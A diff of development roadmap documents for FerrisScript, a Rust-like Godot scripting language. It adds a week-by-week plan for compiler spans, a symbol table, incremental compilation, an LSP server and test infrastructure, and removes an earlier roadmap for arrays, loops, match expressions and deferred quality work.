+### Phase 0: Compiler Prerequisites (Weeks 1-3) 🔴 CRITICAL PATH
+
+**Why First**: LSP fundamentally requires these features. Cannot proceed without them.
+
+#### Week 1: Source Spans + Inspector Fix
+
+**Goal**: Every AST node knows where it came from in the source code + fix Inspector property refresh bug
+
+**Tasks**:
+
+1. Define `Span` and `Position` structs (`crates/compiler/src/span.rs`)
+2. Add `span` field to all AST nodes (`crates/compiler/src/ast.rs`)
+3. Update parser to track spans from tokens
+4. Update all tests with span assertions (543 compiler tests)
+5. **🆕 Fix Inspector property refresh on compilation errors** (Quick win, 1-2 hours)
+
+**Acceptance Criteria**:
+
+- [ ] `Span::new(start, end)` and `Span::merge(other)` work
+- [ ] Every `Expr`, `Stmt`, `Type` has a `span()` method
+- [ ] Parser creates spans from token positions
+- [ ] Error messages include `Span` information
+- [ ] All 543 compiler tests pass with spans
+- [ ] **🆕 Inspector clears properties on compilation failure**
+- [ ] **🆕 Switching scripts after type error updates Inspector correctly**
+
+**Complexity**: 🔴 HIGH (touches entire AST, all tests)  
+**Delegation**: ❌ **User-Interactive** (requires careful review of each AST node)
+
+**Quick Win**: Inspector fix can run in parallel as background agent task  
+**📄 Inspector Fix Details**: See [INSPECTOR_PROPERTY_FIX.md](INSPECTOR_PROPERTY_FIX.md)
+
+---
+
+#### Week 2: Symbol Table
+
+**Goal**: Extract symbol information for LSP (variables, functions, types)
+
+**Tasks**:
+
+1. Define `SymbolTable`, `Symbol`, `Scope` structs (`crates/compiler/src/symbol_table.rs`)
+2. Refactor `TypeChecker` to build `SymbolTable` during type checking
+3. Update `compile()` to return `(Type, SymbolTable)`
+4. Add integration tests for symbol resolution
+
+**Acceptance Criteria**:
+
+- [ ] `SymbolTable::lookup(name)` returns `Option<&Symbol>`
+- [ ] `SymbolTable::all_symbols()` returns all symbols
+- [ ] `SymbolTable::symbols_in_scope(id)` walks scope chain
+- [ ] `TypeChecker` inserts symbols for variables, functions, parameters
+- [ ] Integration tests verify symbol table correctness
+
+**Complexity**: 🟡 MEDIUM (refactoring existing type checker)  
+**Delegation**: ⚠️ **User-Guided** (needs review of type checker logic)
+
+---
+
+#### Week 3: Incremental Compilation
+
+**Goal**: Cache ASTs and recompile only changed regions
+
+**Tasks**:
+
+1. Implement `IncrementalCompiler` with AST caching (`crates/compiler/src/incremental.rs`)
+2. Add source hash-based cache invalidation
+3. Create `DependencyGraph` for transitive invalidation
+4. Performance benchmarks (cache hit rate, latency)
+
+**Acceptance Criteria**:
+
+- [ ] `IncrementalCompiler::compile_file(uri, source)` uses cache
+- [ ] Cache hit returns result in <50ms (target: <100ms acceptable)
+- [ ] Cache miss does full compilation and caches result
+- [ ] `DependencyGraph` invalidates dependent files
+- [ ] Benchmarks show 5-10x speedup for cache hits
+- [ ] Cache hit rate >80% for typical editing sessions
+
+**Complexity**: 🟡 MEDIUM (new module, integration with compiler)  
+**Delegation**: ✅ **Background Agent** (well-defined spec, testable in isolation)
+
+---
+
+### Phase 1: Test Framework Foundation (Week 4)
+
+**Why Now**: Provides test infrastructure for validating LSP integration
+
+#### Tasks
+
+1. **Create Test Harness Crate** (2 days)
+   - `crates/test_harness/Cargo.toml`
+   - Metadata parser: `parse_test_metadata(source) -> TestMetadata`
+   - Test discovery: `discover_tests(examples_dir) -> Vec<TestFile>`
+   - Error handling with `thiserror`
+
+2. **Rust Test Integration** (2 days)
+   - `tests/ferris_integration_tests.rs`

+
+3. **Cross-Platform Validation** (1 day)
+   - Test on Windows (absolute paths, no symlinks)
+   - Test on Linux (standard paths)
+   - Test on macOS (if available)
+
+**Acceptance Criteria**:
+
+- [ ] `cargo test` discovers all `.ferris` files in `/examples`
+- [ ] Metadata parsing handles all fields: `TEST:`, `CATEGORY:`, `EXPECT:`, `ASSERT:`, `TIMEOUT:`
+- [ ] Test filtering works: `FERRIS_TEST_FILTER=bounce cargo test` runs only bounce test
+- [ ] Cross-platform: Tests pass on Windows, Linux, macOS
+- [ ] All tests have clear error messages for malformed metadata
+
+**Complexity**: 🟢 LOW (new crate, clear spec)  
+**Delegation**: ✅ **Background Agent** (unambiguous requirements, well-tested)
+
+---
+
+### Phase 2: LSP Server Foundation (Week 5a - Days 1-3)
+
+**Why Now**: Needs Phase 0 (compiler prerequisites) complete
+
+#### Tasks
+
+1. **Create LSP Crate** (1 day)
+   - `crates/lsp/Cargo.toml` with `tower-lsp` dependency
+   - Basic server struct: `FerrisScriptServer`
+   - Initialize/shutdown handlers
+
+2. **Document Manager** (1 day)
+   - Track open documents: `HashMap<Url, Document>`

+   - Integrate with `IncrementalCompiler` from Phase 0.3
+
+3. **Text Synchronization** (1 day)
+   - Handle `textDocument/didOpen`
+   - Handle `textDocument/didChange` (incremental)
+   - Handle `textDocument/didClose`
+
+**Acceptance Criteria**:
+
+- [ ] LSP server starts and responds to `initialize` request
+- [ ] Document manager tracks open files
+- [ ] Incremental changes apply correctly (no corruption)
+- [ ] `IncrementalCompiler` recompiles on each change
+- [ ] Server handles multiple documents simultaneously
+
+**Complexity**: 🟡 MEDIUM (new LSP infrastructure)  
+**Delegation**: ⚠️ **User-Guided** (LSP protocol requires careful implementation)
+
+---
+
+### Phase 2.5: LSP Test Integration (Week 5b - Days 4-5)
+
+**Why Now**: Validates LSP works before full diagnostics (lower risk)
+
+#### Tasks
+
+1. **Custom LSP Protocol** (1 day)
+   - Define `ferrisscript/documentTests` request/response
+   - Define `ferrisscript/runTest` request/response
+   - Implement handlers in LSP server
+
+2. **Test Discovery API** (1 day)
+   - Use `test_harness` crate from Phase 1

+- [ ] Clicking button runs test via LSP
+- [ ] Test result appears in editor (✅ pass, ❌ fail)
+- [ ] Test status persists in cache (doesn't re-run on every edit)
+- [ ] Multiple tests in same file all work
+
+**Complexity**: 🟡 MEDIUM (custom LSP protocol, VS Code extension)  
+**Delegation**: ⚠️ **User-Guided** (integration between LSP server and VS Code)
+
+---
+
+### Phase 3: Real-Time Diagnostics (Week 6a - Days 1-3)
+
+**Why Now**: Validates incremental compilation works with LSP
+
+#### Tasks
+
+1. **Diagnostic Publishing** (1 day)
+   - Convert compile errors to LSP `Diagnostic` format
+   - Use `Span` from Phase 0.1 for accurate ranges
+   - Publish on every `textDocument/didChange`
+
+2. **Error Recovery** (1 day)
+   - Parser continues on errors (don't stop at first error)
+   - Type checker handles incomplete ASTs
+   - Show partial diagnostics even with syntax errors
+
+3. **Performance Validation** (1 day)
+   - Benchmark latency: target <100ms for typical edits
+   - Verify cache hit rate >80%
+   - Profile slow paths
+
+**Acceptance Criteria**:
+
+- [ ] Red squiggles appear as you type (not just on save)
+- [ ] Error messages accurate to exact location (uses spans)
+- [ ] Latency <100ms for cache hits (typical single-line edit)
+- [ ] Multiple errors shown simultaneously
+- [ ] Parser doesn't crash on incomplete code
+
+**Complexity**: 🟡 MEDIUM (error recovery is tricky)  
+**Delegation**: ⚠️ **User-Guided** (performance tuning requires iteration)
+
+---
+
+### Phase 4: Godot Test Runner (Week 6b - Days 4-5)
+
+**Why Now**: Can run in parallel with Phase 3 (different codebase)
+
+#### Tasks
+
+1. **Test Runner Script** (1 day)
+   - `godot_test/test_runner.gd`
+   - Discover tests via `FileAccess.open()` (no symlinks)
+   - Load and run FerrisScript via `FerrisScriptRunner`
+   - JSON output mode
+
+2. **Assertion Validation** (1 day)
+   - Add `get_variable(name)` to `FerrisScriptRunner`
+   - Add `get_emitted_signals()` to `FerrisScriptRunner`
+   - Parse `ASSERT:` metadata and validate
+   - Timeout mechanism (default 10s)
+
+**Acceptance Criteria**:
+
+- [ ] `godot --headless --script test_runner.gd` runs all tests
+- [ ] Tests timeout after 10s (configurable via `TIMEOUT:` metadata)
+- [ ] Assertions validate actual runtime behavior (not just "compiles")
+- [ ] JSON output parses correctly in CI
+- [ ] Works on Windows (no symlink issues)
+
+**Complexity**: 🟢 LOW (GDScript, clear spec)  
+**Delegation**: ✅ **Background Agent** (well-defined, testable in Godot)
+
+---
+
+### Phase 5: CI Integration & Migration (Week 7)
+
+**Why Now**: Final integration, migration, polish
+
+#### Tasks
+
+1. **GitHub Actions Workflow** (1 day)
+   - Update `.github/workflows/test.yml`
+   - Run `cargo test` (Phase 1 harness)
+   - Run `godot --headless` (Phase 4 runner)
+   - Parse JSON results
+
+2. **Test Migration** (2 days)
+   - Move all `.ferris` files from `/godot_test/scripts` to `/examples`
+   - Add metadata to each test
+   - Update documentation
+
+3. **Cleanup** (1 day)
+   - Remove old test infrastructure
+   - Update README
+   - Create migration guide for contributors
+
+4. **Final Validation** (1 day)
+   - Run full test suite on CI
+   - Verify all platforms pass
+   - Check performance metrics
+
+**Acceptance Criteria**:
+
+- [ ] CI runs on every PR and passes
+- [ ] No `.ferris` files remain in `/godot_test/scripts`
+- [ ] All tests have metadata headers
+- [ ] Documentation updated (README, CONTRIBUTING)
+- [ ] Migration guide written
+
+**Complexity**: 🟢 LOW (mostly migration, documentation)  
+**Delegation**: ✅ **Background Agent** (bulk file operations, well-defined)
+
+---
+
+## 🤖 Work Delegation Strategy
+
+### Background Agent Tasks (Can Run Unattended)
+
+These tasks have:
+
+- ✅ Clear, unambiguous requirements
+- ✅ Well-defined acceptance criteria
+- ✅ No complex design decisions
+- ✅ Easy to verify automatically (tests)
+
+| Phase | Task | Rationale |
+|-------|------|-----------|
+| **0.3** | Incremental Compilation | Well-specified caching logic, testable in isolation |
+| **1** | Test Harness Crate | New crate, clear spec, comprehensive tests |
+| **4** | Godot Test Runner | GDScript implementation, clear inputs/outputs |
+| **5** | Test Migration | Bulk file operations, metadata addition |
+| **5** | CI Integration | GitHub Actions YAML, JSON parsing |
+
+**Estimated Background Work**: ~2-3 weeks of the 6-7 week timeline
+
+---
+
+### User-Guided Tasks (Need Iteration & Feedback)
+
+These tasks have:
+
+- ⚠️ Complex design decisions
+- ⚠️ Integration with existing code
+- ⚠️ Performance tuning required
+- ⚠️ Multiple valid approaches
+
+| Phase | Task | Why User-Guided |
+|-------|------|-----------------|
+| **0.1** | Source Spans in AST | Touches 543 tests, every AST node, needs careful review |
+| **0.2** | Symbol Table Extraction | Refactors type checker, complex scope handling |
+| **2** | LSP Server Foundation | LSP protocol requires careful implementation |
+| **2.5** | LSP Test Integration | Custom protocol, VS Code extension integration |
+| **3** | Real-Time Diagnostics | Error recovery is tricky, performance tuning |
+
+**Estimated User-Guided Work**: ~3-4 weeks of the 6-7 week timeline
+
+---
+
+### Parallelization Opportunities
+
+| Primary Track | Secondary Track (Background Agent) | Week |
+|---------------|-----------------------------------|------|
+| Phase 0.1: Source Spans | - | 1 |
+| Phase 0.2: Symbol Table | - | 2 |
+| Phase 0.3: Incremental Compilation ⚠️ | Can be background if spec clear | 3 |
+| Phase 1: Test Harness (user review) | Phase 1: Tests/docs (agent writes) | 4 |
+| Phase 2: LSP Server (user guided) | Phase 4: Godot Runner (agent writes) | 5 |
+| Phase 2.5 + 3: LSP Test Integration | - | 6 |
+| Phase 5: Final validation | Phase 5: Migration (agent executes) | 7 |
+
+**Key Insight**: Weeks 4-6 have the most parallelization potential. User works on LSP while agent handles Godot test runner.
+
+---
+
+## 🔗 Dependencies & Critical Path
+
+### Critical Path (Must Complete in Order)
+
+```
+Phase 0.1 (Spans) 
+    ↓
+Phase 0.2 (Symbol Table) 
+    ↓
+Phase 0.3 (Incremental Compilation)
+    ↓
+Phase 2 (LSP Server Foundation)
+    ↓
+Phase 2.5 (LSP Test Integration)
+    ↓
+Phase 3 (Real-Time Diagnostics)
+```
+
+**Timeline**: 6 weeks (Weeks 1-6)
+
+**Blocker**: Cannot start Phase 2 until Phase 0 complete (needs spans, symbol table, incremental compiler)
+
+---
+
+### Parallel Paths (Can Run Simultaneously)
+
+```
+Phase 1 (Test Harness) ─┐
+                        ├─→ Phase 2.5 (LSP Test Integration)
+Phase 4 (Godot Runner) ─┘
+
+Phase 5 (CI Integration) ← All above complete
+```
+
+**Optimization**:
+
+- Phase 1 (Week 4) can run while finishing Phase 0 if Phase 0 is ahead of schedule
+- Phase 4 (Week 6) can run in parallel with Phase 3 (different codebase)
+- Phase 5 (Week 7) waits for everything
+
+---
+
+## ⚠️ Risk Management
+
+### High-Risk Items (Require Mitigation)
+
+#### Risk 1: Compiler Refactoring Breaks Tests 🔴 HIGH
+
+**Probability**: Very High  
+**Impact**: All 543 compiler tests may fail after adding spans
+
+**Mitigation**:
+
+- Add spans incrementally (one AST node type at a time)
+- Use default/dummy spans for unmodified nodes during transition
+- Run full test suite after each AST change
+- Create migration script to bulk-update test assertions
+- **Timeline Buffer**: 1 week contingency built into Phase 0
+
+**Decision Point**: End of Week 1 - if span migration is slower than expected, consider temporary dummy spans
+
+---
+
+#### Risk 2: Incremental Compilation Cache Bugs 🔴 HIGH
+
+**Probability**: Medium  
+**Impact**: LSP shows stale errors, incorrect completions
+
+**Mitigation**:
+
+- Extensive unit tests for cache invalidation (test each scenario)
+- Add cache validation mode (compare cached vs fresh compilation)
+- Implement "force full recompilation" command in LSP
+- Monitor cache hit rate in production
+- **Fallback**: Disable caching if bugs persist (graceful degradation)
+
+**Decision Point**: End of Week 3 - verify cache correctness before proceeding to LSP
+
+---
+
+#### Risk 3: Timeline Overrun (7 weeks → 9+ weeks) 🟡 MEDIUM
+
+**Probability**: Medium  
+**Impact**: Delayed v0.0.5 release
+
+**Mitigation**:
+
+- Phase 0 has highest risk (3 weeks of compiler changes)
+- Weekly check-ins to assess timeline
+- De-scope features if falling behind (see Priority Plan below)
+- **Decision Point**: End of Week 3 (reassess after Phase 0)
+
+**De-Scoping Priority**:
+
+**Priority 1 (Must Keep)**:
+
+- Source spans in AST
+- Symbol table extraction
+- Basic LSP diagnostics
+- Test framework foundation
+
+**Priority 2 (Defer to v0.0.6 if behind)**:
+
+- Incremental compilation (fallback: always recompile)
+- LSP test integration (ship test framework standalone)
+
+**Priority 3 (Defer to v0.1.0)**:
+
+- Advanced caching strategies
+- Dependency graph optimizations
+
+---
+
+### Medium-Risk Items (Monitor Closely)
+
+#### Risk 4: LSP Protocol Complexity 🟡 MEDIUM
+
+**Mitigation**: Start with simple test-specific LSP (Phase 2.5) before full diagnostics
+
+#### Risk 5: Cross-Platform Test Failures 🟡 MEDIUM
+
+**Mitigation**: Test on all platforms early (Phase 1, Week 4)
+
+#### Risk 6: Performance Regression 🟡 MEDIUM
+
+**Mitigation**: Benchmark cache hit rate, establish performance baselines
+
+---

-# FerrisScript v0.0.6-7 Roadmap 🦀
-
-**Versions**: 0.0.6-7 (Patch Releases)  
-**Focus**: Language Features (Optional)  
-**Timeline**: 4-6 weeks (can overlap with other work)  
-**Prerequisites**: v0.0.5 (LSP working)
-
----
-
-## 🎯 Overview
-
-**Strategic Goal**: Add core language features in preparation for v0.1.0 release.
-
-**Key Priorities**:
-
-1. Array/list types
-2. For loops
-3. Match expressions
-4. String interpolation
-
-**Alignment with v0.1.0 Strategy**: With editor integration (LSP) and Godot API complete, now is the time to add powerful language features. These were **deprioritized** in the roadmap revision but remain important for v0.1.0.
-
-**Note**: These versions are marked "optional" because:
-
-- They can be developed in parallel with v0.0.4-5
-- They could ship as v0.0.6 and v0.0.7 separately
-- They could be combined into a single release
-- They could be merged directly into v0.1.0 if timeline permits
-
----
-
-## 📦 High Priority Deliverables (v0.0.6)
-
-### 1. Array/List Types
-
-**Status**: Not Started  
-**Priority**: High (was Critical in original roadmap)
-
-**Rationale**: Essential for game development (inventory, enemies, bullets, etc.). Enables realistic game logic.
-
-**Scope**:
-
-- [ ] Array type syntax: `[i32]`, `[String]`, `[Node]`
-- [ ] Array literals: `[1, 2, 3]`, `["a", "b", "c"]`
-- [ ] Array indexing: `arr[0]`, `arr[i]`
-- [ ] Array methods:
-  - `len() -> i32` - Get array length
-  - `push(value)` - Add element to end
-  - `pop() -> T` - Remove and return last element
-  - `contains(value) -> bool` - Check if value exists
-  - `clear()` - Remove all elements
-  - `remove_at(index)` - Remove element at index
-- [ ] Type checking for homogeneous arrays
-- [ ] Integration with Godot Array type
-- [ ] Array iteration (prerequisite for for loops)
-
-**Example**:
-
-```rust
-let mut enemies: [Node] = [];
-let numbers: [i32] = [1, 2, 3, 4, 5];
-
-fn _ready() {
-    enemies.push(get_node("Enemy1"));
-    enemies.push(get_node("Enemy2"));
-    print(enemies.len()); // 2
-    
-    if enemies.contains(get_node("Enemy1")) {
-        print("Enemy1 found!");
-    }
-}
-
-fn _process(delta: f32) {
-    let mut i: i32 = 0;
-    while i < enemies.len() {
-        // Process each enemy
-        let enemy: Node = enemies[i];
-        i += 1;
-    }
-}
-```
-
-**Implementation Details**:
-
-- Add array type to type system
-- Implement array value in runtime
-- Add array indexing operator
-- Add array methods as built-ins
-- Handle bounds checking
-- Integration with Godot's Array class
-
-**Estimated Effort**: 5-7 days
-
-**Tests**: ~15-20 new tests
-
-**Components Affected**: Lexer, parser, type system, runtime
-
----
-
-### 2. For Loops
-
-**Status**: Not Started  
-**Priority**: Medium (was Critical in original roadmap)
-
-**Rationale**: Much cleaner than while loops for iteration. Complements arrays perfectly.
-
-**Scope**:
-
-- [ ] Range syntax: `for i in 0..10`
-- [ ] Inclusive ranges: `for i in 0..=10`
-- [ ] Array iteration: `for enemy in enemies`
-- [ ] Break statement
-- [ ] Continue statement
-- [ ] Nested loops
-
-**Example**:
-
-```rust
-fn _process(delta: f32) {
-    // Range loop
-    for i in 0..10 {
-        print(i);
-    }
-    
-    // Inclusive range
-    for i in 0..=10 {
-        print(i); // Prints 0 through 10
-    }
-    
-    // Array iteration
-    for enemy in enemies {
-        enemy.position.x += 10.0;
-    }
-    
-    // With break and continue
-    for i in 0..100 {
-        if i == 50 {
-            break; // Exit loop
-        }
-        if i % 2 == 0 {
-            continue; // Skip even numbers
-        }
-        print(i);
-    }
-}
-```
-
-**Implementation Details**:
-
-- Add `for`, `in`, `break`, `continue` keywords
-- Add for loop to AST
-- Implement range iterator
-- Implement array iterator
-- Handle break and continue in runtime
-- Type checking for iterable types
-
-**Estimated Effort**: 3-5 days
-
-**Tests**: ~10-15 new tests
-
-**Components Affected**: Lexer, parser, type system, runtime
-

-
-## 📦 Medium Priority Deliverables (v0.0.7)
-
-### 3. Match Expressions
-
-**Status**: Not Started  
-**Priority**: Medium (was High in original roadmap)
-
-**Rationale**: Rust's killer feature. Great for state machines and game logic.
-
-**Scope**:
-
-- [ ] Match on integers: `match x { 1 => ..., 2 => ..., _ => ... }`
-- [ ] Match on booleans: `match flag { true => ..., false => ... }`
-- [ ] Match on strings: `match state { "idle" => ..., "walking" => ... }`
-- [ ] Wildcard pattern: `_`
-- [ ] Match with blocks
-- [ ] Exhaustiveness checking (warn if not all cases covered)
-- [ ] Match as expression (returns value)
-
-**Example**:
-
-```rust
-let mut state: String = "idle";
-
-fn _process(delta: f32) {
-    match state {
-        "idle" => {
-            // Idle behavior
-            if check_input() {
-                state = "walking";
-            }
-        },
-        "walking" => {
-            self.position.x += 50.0 * delta;
-            if !check_input() {
-                state = "idle";
-            }
-        },
-        "jumping" => {
-            self.position.y -= 100.0 * delta;
-        },
-        _ => {
-            print("Unknown state!");
-        }
-    }
-}
-
-// Match as expression
-let color: Color = match health {
-    0..=25 => Color::RED,
-    26..=50 => Color::YELLOW,
-    _ => Color::GREEN
-};
-```
-
-**Implementation Details**:
-
-- Add `match` keyword
-- Add match expression to AST
-- Implement pattern matching in runtime
-- Type checking for match arms
-- Exhaustiveness checking
-- Handle match as expression
-
-**Estimated Effort**: 5-7 days
-
-**Tests**: ~15-20 new tests
-
-**Components Affected**: Lexer, parser, type system, runtime
-
----
-
-### 4. String Interpolation
-
-**Status**: Not Started  
-**Priority**: Low-Medium
-
-**Rationale**: Much nicer than string concatenation. Quality of life improvement.
-
-**Scope**:
-
-- [ ] Format string syntax: `f"Hello, {name}!"`
-- [ ] Expression interpolation: `f"Score: {score * 10}"`
-- [ ] Type conversion (int/float to string)
-- [ ] Nested expressions: `f"Result: {x + y}"`
-- [ ] Escape sequences: `f"Price: \${price}"`
-
-**Example**:
-
-```rust
-let name: String = "Player";
-let score: i32 = 100;
-let health: f32 = 75.5;
-
-fn _ready() {
-    print(f"Hello, {name}!");
-    print(f"Your score is {score}.");
-    print(f"Health: {health}%");
-    print(f"Double score: {score * 2}");
-    print(f"Price: \${99}"); // Escaped dollar sign
-}
-```
-
-**Implementation Details**:
-
-- Add `f"..."` string literal syntax
-- Parse interpolation expressions
-- Implement string formatting
-- Type conversion for primitives
-- Handle escape sequences
-
-**Estimated Effort**: 2-3 days
-
-**Tests**: ~8-10 new tests
-
-**Components Affected**: Lexer, parser, runtime
-
----
-
-## 🎯 Success Metrics
-
-### Quantitative Goals
-
-- [ ] Arrays working with all methods
-- [ ] For loops support ranges and arrays
-- [ ] Match expressions handle all basic types
-- [ ] String interpolation works with all types
-- [ ] 50-60 new tests added
-- [ ] All existing tests passing
-
-### Qualitative Goals
-
-- [ ] Can build realistic game logic
-- [ ] Code is more concise and readable
-- [ ] State machines feel natural with match
-- [ ] Array manipulation is intuitive
-
----
-
-## 📋 Possible Release Strategy
-
-### Option 1: Two Separate Releases
-
-**v0.0.6**: Arrays + For Loops (3-4 weeks)  
-**v0.0.7**: Match + String Interpolation (2-3 weeks)
-
-**Pros**:
-
-- Smaller, more focused releases
-- Faster delivery of arrays (most needed feature)
-- Can gather feedback between releases
-
-**Cons**:
-
-- More release overhead
-- Split attention
-
-### Option 2: Combined Release
-
-**v0.0.6**: All language features (5-6 weeks)
-
-**Pros**:
-
-- Single comprehensive release
-- All features tested together
-- Less release overhead
-
-**Cons**:
-
-- Longer wait for any features
-- Larger testing surface
-
-### Option 3: Merge into v0.1.0
-
-Skip v0.0.6-7 entirely and merge work directly into v0.1.0
-
-**Pros**:
-
-- Cleaner version history
-- Focus on v0.1.0 quality
-- More time for polish
-
-**Cons**:
-
-- No intermediate releases
-- Longer gap between releases
-
-**Recommendation**: Option 1 (separate releases) for faster iteration and feedback.
-
----
-
-## 🔗 Dependencies for v0.1.0
-
-**Enables v0.1.0**:
-
-- ✅ Arrays → Realistic game examples
-- ✅ For loops → Clean iteration code
-- ✅ Match → State machine examples
-- ✅ Complete language foundation → Ready for production
-
-**Critical Path**:
-
-v0.0.5 (LSP) → v0.0.6 (Arrays/Loops) → v0.0.7 (Match/Strings) → v0.1.0
-
-**Parallel Path**:
-
-v0.0.4-5 (LSP + API) can happen in parallel with v0.0.6-7 development if resources allow.
-
----
-
-## 📝 Notes
-
-### Example Game After v0.0.6-7
-
-With all language features, can build complex games:
-
-```rust
-signal score_changed(new_score: i32);
-

-## � Deferred from v0.0.3 - Release Preparation & Quality
-
-The following items were deferred from v0.0.3 Phase 9 and align with v0.1.0's release preparation focus.
-
-### Test Coverage Badge 📊
-
-**Status**: Deferred from v0.0.3  
-**Priority**: Low  
-**Estimated Effort**: 1-2 days
-
-**What It Is**: Codecov/Coveralls badge showing test coverage percentage in README.md
-
-**Why Deferred**: Requires coverage service setup, not critical for alpha releases. More appropriate for v0.1.0 when aiming for production-ready status.
-
-**Current State**: Coverage script exists (`scripts/coverage.ps1/.sh`), but not automated in CI.
-
-**Scope**:
-
-- [ ] Choose coverage service (Codecov vs Coveralls vs Codacy)
-- [ ] Add coverage generation to CI workflow
-  - Option 1: `cargo tarpaulin` (Rust-specific, good integration)
-  - Option 2: `cargo llvm-cov` (LLVM-based, more accurate)
-- [ ] Upload coverage reports to service in CI
-- [ ] Add coverage badge to README.md
-- [ ] Set coverage targets (aim for 80%+ for v0.1.0)
-
-**Implementation Notes**:
-
-```yaml
-# .github/workflows/coverage.yml
-- name: Generate coverage
-  run: cargo tarpaulin --out Xml --workspace
-
-- name: Upload to Codecov
-  uses: codecov/codecov-action@v3
-  with:
-    files: cobertura.xml
-```

-
-### Rustdoc Hosting 📚
-
-**Status**: Deferred from v0.0.3  
-**Priority**: Medium  
-**Estimated Effort**: 2-3 days
-
-**What It Is**: Host API documentation on docs.rs or GitHub Pages for easy reference.
-
-**Why Deferred**: Release-level documentation, not needed for alpha. Important for v0.1.0 when external developers start using FerrisScript.
-
-**Current State**: Moderate rustdoc coverage in code, but not comprehensive or published.
-
-**Options**:
-
-1. **docs.rs** (automatic for published crates on crates.io)
-   - Pros: Free, automatic updates, well-known
-   - Cons: Requires crates.io publishing first
-
-2. **GitHub Pages** (custom deployment)
-   - Pros: Full control, no publishing dependency
-   - Cons: Manual CI setup
-
-3. **Netlify/Vercel** (custom domain support)
-   - Pros: Custom domain (ferrisscript.dev/api), fast CDN
-   - Cons: Extra service dependency
-
-**Scope**:
-
-- [ ] Comprehensive rustdoc comments for all public APIs
-  - Crate-level documentation (lib.rs)
-  - Module-level documentation
-  - Public struct/enum/function documentation
-- [ ] Doc examples with tests (`/// # Examples`)
-- [ ] Cross-references between related types
-- [ ] CI job to build and deploy docs
-- [ ] Link from README.md and error documentation site

-### Edge Case Tests 🔬
-
-**Status**: Deferred from v0.0.3  
-**Priority**: Low (ongoing quality work)  
-**Estimated Effort**: Medium (ongoing effort)
-
-**What It Is**: Comprehensive edge case coverage for pathological inputs, boundary conditions, and unusual usage patterns.
-
-**Why Deferred**: Ongoing quality work, not release blocker. Better to add incrementally as issues are discovered than to delay releases.
-
-**Current State**: Basic edge cases covered (empty files, comments, long identifiers), but not exhaustive.
-
-**Scope**:
-
-- [ ] **Numeric Boundaries**
-  - i32::MAX, i32::MIN literals
-  - Overflow detection (compile-time and runtime)
-  - Very small floats (denormals)
-  - Very large floats (infinity)
-  - Special values (NaN, -0.0)
-
-- [ ] **String Edge Cases**
-  - Very long strings (10,000+ chars)
-  - Unicode edge cases (emoji, RTL text, zero-width chars)
-  - Escape sequence combinations
-  - Unterminated strings at EOF
-
-- [ ] **Identifier Edge Cases**
-  - Very long identifiers (1000+ chars)
-  - Unicode identifiers (variable names with emoji?)
-  - Keywords as field names (`node.let`, `node.fn`)
-
-- [ ] **Nesting Limits**
-  - Deep nesting (100+ levels of if/while)
-  - Deep expression nesting
-  - Deep function call chains
-
-- [ ] **File Size Limits**
-  - Huge files (100,000+ lines)
-  - Very long lines (10,000+ chars)
-  - Memory usage on large files
-
-- [ ] **Comment Edge Cases**
-  - Pathological comment patterns
-  - Comments with special characters
-  - Nested comment attempts (not supported)
-
-**Implementation Strategy**: Add edge case tests incrementally during bug fixes. When user reports edge case bug, add regression test before fixing.
-
-**Testing Categories**:
-
-```rust
-// tests/edge_cases_numeric.rs
-#[test]
-fn test_i32_max_literal() { ... }
-
-#[test]
-fn test_overflow_detection() { ... }
-
-// tests/edge_cases_unicode.rs
-#[test]
-fn test_emoji_in_string() { ... }
-
-#[test]
-fn test_rtl_text() { ... }

-### Code Organization Improvements 🏗️
-
-**Status**: Deferred from v0.0.3  
-**Priority**: Low (technical debt)  
-**Estimated Effort**: High (ongoing effort)
-
-**What It Is**: Refactor compiler internals for maintainability, extensibility, and code clarity.
-
-**Why Deferred**: Ongoing refactoring, not release blocker. Better to refactor incrementally during feature development than as separate phase.
-
-**Improvements Identified**:
-
-- [ ] **Extract error formatting into separate module**
-  - Currently mixed into error_context.rs
-  - Create formatting/ submodule with format_error, format_diagnostic, etc.
-
-- [ ] **Unify diagnostic infrastructure** (Phase 3E dependency)
-  - Standardize Diagnostic struct across all stages
-  - Consistent DiagnosticCollector usage
-  - Leverage Phase 3E work from v0.0.4
-
-- [ ] **Improve parser modularity**
-  - Split parser.rs into submodules (expressions.rs, statements.rs, declarations.rs)
-  - Reduce single-file complexity (currently 800+ lines)
-
-- [ ] **Type checker state management**
-  - Reduce mutable state (Environment mutations)
-  - Consider immutable environment with copy-on-write
-  - Clearer scope management
-
-- [ ] **Runtime error handling**
-  - Structured error types (not just String)
-  - Better error propagation
-  - Runtime diagnostics integration
-
-- [ ] **Module system preparation**
-  - Extract common patterns (visitor pattern, tree walking)
-  - Prepare for future module/import system
-  - Namespace management
-
-**Approach**: Refactor incrementally during feature development, not as separate phase. When adding new features, improve code organization in affected areas.
-
-**Priority**: After major features (LSP, arrays, loops) to avoid blocking progress.

-
----
-
-## 🔮 Additional Opportunities from v0.0.3 (Workstream Prompt Improvements)
-
-### Low Priority Items (v0.1.0+)
-
-**1. Phase-Specific Prompt Variations** (2-3 days)
-
-**Opportunity**: Create specialized prompt variants for different phase types (implementation, documentation, release, investigation).
-
-**Benefits**: More targeted guidance, reduced prompt length, better alignment with phase characteristics
-
-**Rationale**: Need more phase execution data to identify patterns worth specializing
-
-**Blocker**: No, but needs data collection across multiple versions first
-
----
-
-**2. Version-Specific Context Validation** (1 day)
-
-**Opportunity**: Add validation to catch version-specific path references (e.g., hardcoded `docs/v0.0.2/` in generic templates).
-
-**Benefits**: Prevents version-specific references in generic templates, maintains reusability
-
-**Rationale**: Manual review working fine, low frequency problem
-
-**Blocker**: No, nice-to-have automation
-
----
-
-**3. Prompt Effectiveness Metrics Dashboard** (2-3 days)
-
-**Opportunity**: Create dashboard tracking time estimation accuracy, date accuracy, LEARNINGS.md update rate, TODO discipline, link check pass rate.
-
-**Benefits**: Data-driven prompt improvements, identify persistent issues, celebrate improvements
-
-**Rationale**: Requires data from multiple prompt-guided workstreams (v0.0.3-v0.0.5+)
-
-**Blocker**: No, but needs data collection period first
-
----
-
-**4. Error Code Telemetry** (Investigation Phase)
-
-**Discovery from v0.0.3 Phase 1**: Structured error codes enable tracking which errors users encounter most frequently.
-
-**Opportunity**: Privacy-respecting, opt-in telemetry to identify:
-
-- Most common user errors (prioritize documentation/error messages)
-- Confusing error messages (improve wording)
-- Missing error codes (gaps in coverage)
-
-**Investigation Needed**: Opt-in telemetry design, privacy considerations, storage/analysis approach
-
-**Rationale**: Valuable for production-ready release (v0.1.0) to understand user experience
-
----
-
-**5. Error Code Localization** (Investigation Phase)
-
